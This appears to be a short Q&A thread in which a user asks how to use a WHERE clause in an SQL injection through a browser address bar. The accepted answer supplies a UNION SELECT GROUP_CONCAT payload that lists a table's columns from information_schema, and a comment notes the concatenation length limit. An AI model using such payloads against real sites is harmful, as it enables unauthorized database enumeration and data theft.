sql injection: use WHERE statement in address bar

Question

How can i use "Where" statement during an sql-injection attack in address bar ?
for example:

... from+information_schema.TABLES+where+TABLE_SCHEMA+=+XXXX--

The code above does not work.

Techbrunch · Accepted Answer · 2012-10-08 11:18:00Z

up vote 1 down vote accepted

You can retrieve the columns for a specific table with this request :

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

answered Oct 8 '12 at 11:18

Techbrunch
4243

Does GROUP_CONCAT() has any limit in number of rows? – Siamak.A.M Oct 8 '12 at 13:37

1

@Siamak.A.M No, but it has a character length limit. See group_concat_max_len – Zzz Oct 8 '12 at 18:47

1 Answer